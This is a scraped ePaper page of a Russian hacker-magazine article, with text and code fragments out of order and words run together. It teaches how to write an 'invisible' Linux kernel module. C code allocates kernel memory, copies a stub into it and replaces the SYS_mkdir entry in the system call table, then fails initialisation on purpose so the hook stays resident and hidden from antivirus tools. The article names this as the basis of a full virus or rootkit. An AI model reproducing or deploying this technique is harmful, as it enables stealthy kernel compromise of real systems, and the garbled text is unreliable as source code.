You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
unixoidНекорректный перехват системного вызова приводит к аварийномузавершению обратившегося к нему процесса, а не всегоядра целиком (как это происходит в NT)Сборка, загрузка и демонстрация работы невидимого модулякоду (который, кстати говоря, должен бытьперемещаемым, то есть сохранять работоспособностьнезависимо от базового адресазагрузки). После этого мы возвращаем -1, сообщаясистеме, что вызов init_module() потерпелнеудачу.В результате — модуль не загружается, но и выделеннаяим память не освобождается, а этозначит, что резидентный код продолжаетработать! Причем определить, каким именномодулем был выделен тот или иной блокпамяти, в общем случае невозможно, и дажеобнаружив резидентный код, антивирус не сможетсказать, откуда он тут взялся!В качестве шасси мы будем использовать скелетLKM-драйвера, приведенный в уже упомянутойстатье «Поиграем с туксом в прятки». Фактическимы только выбросим процедуруcleanup_module(), выполняющуюся при выгрузкемодуля из памяти (ведь наш модульникогда не выгружается), добавим функциюthunk_mkdir(), замещающую собой старыйсистемный вызов SYS_mkdir(), и напишем несколькосток кода, обеспечивающих выделениепамяти, копирование thunk_mkdir() и подменуоригинального SYS_mkdir'а. Если отброситькомментарии, на все про все понадобитсяменее десяти строк на языке Си!if (!new_mkdir) return -1 |printk(«mem error!\n»);/* определяем адрес оригинальноговызова SYS_mkdir (в данной версиимодуля никак не используется) */old_mkdir = sys_call_table[SYS_mkdir];/* копируем резидентный код новогоSYS_mkdir в блок памяти, выделенныйвызовом __get_free_page */memcpy(new_mkdir, thunk_mkdir, thunk_end — thunk_mkdir);Proof-of-concept module,или готовая демонстрацияДавай в качестве разминки соорудим минимальноработающий невидимый LKM-модульдля Linux с ядром версии 2.4 (ядро 2.6 потребуетнезначительных изменений, о которых я расскажуниже). Вот в операционных системахBSD и NT все сильно по-другому, хотя основополагающийпринцип тот же: в процедуреинициализации выделяем память, копируемтуда резидентный код, перехватываем одинили несколько системных вызовов и возвращаемошибку, приводящую к выгрузке модуляиз памяти. Подробнее о технике написанияLKM- и KLD-модулей под BSD можно прочитатьв моих предыдущих статьях. Также рекомендуетсяознакомиться с циклом статей Four-F'ана wasm'e, покрывающим собой все основныеаспекты разработки драйверов: www.wasm.ru/article.php?article=drvw2k01.Но вернемся к Linux'у. Наш «невидимка» будетперехватывать системный вызов SYS_mkdir, возвращаянеизменную ошибку вместо передачиуправления оригинальному syscall'у, в результатечего создание новых директорий окажется невозможным(во всяком случае, до перезагрузкисистемы). Это сделано для облегчения листингаи упрощения его понимания. Примеры реализацииполноценных перехватчиков содержатсяв моей статье «Системный шпионаж в *nix».xàêåð 02 /98/ 07Сердцевина невидимого LKM-модуля/* заглушка на функцию SYS_mkdir,всегда возвращающая -1, то естьблокирующая всякую попытку созданиядиректории с сообщением об ошибке;), естественно, в полновесномвирусе или rootkit'е здесь долженбыть обработчик, передающий управлениеоригинальному системномувызову */thunk_mkdir(){return -1;// директория не создается}.../* EntryPoint: стартовая функциямодуля, ответственная за его инициализациюи возвращающая 0 (при успешнойинициализации) и -1 (еслив ходе инициализации были зафиксированынеустранимые ошибки */int init_module(void){// выделяем одну страницу ядернойпамятиnew_mkdir = (void *) __get_free_page(GFP_KERNEL);// проверяем успешность выделенияпамяти/* модифицируем таблицу системныхвызовов, заменяя старый вызовmkdir новой процедурой-заглушкой */sys_call_table[SYS_mkdir] =new_mkdir;// выводим отладочное сообщение,что все ОКprintk("SYS_mkdir is nowhooked!\n");/* возвращаем ошибку, предотвращаязагрузку модуля, но оставляя резидентныйкод в памяти */return -1;}Для переноса модуля на ядро 2.6 прототип функцииинициализации следует переписать так:static int __init my_init()module_init(my_init);Пара замечаний. Перечень системных вызовов(вместе со способом передачи аргументов)лежит на docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html. В частности,SYS_mkdir принимает 2 аргумента: в EBXпередается указатель на имя создаваемойдиректории, в ECX — флаги,/ 111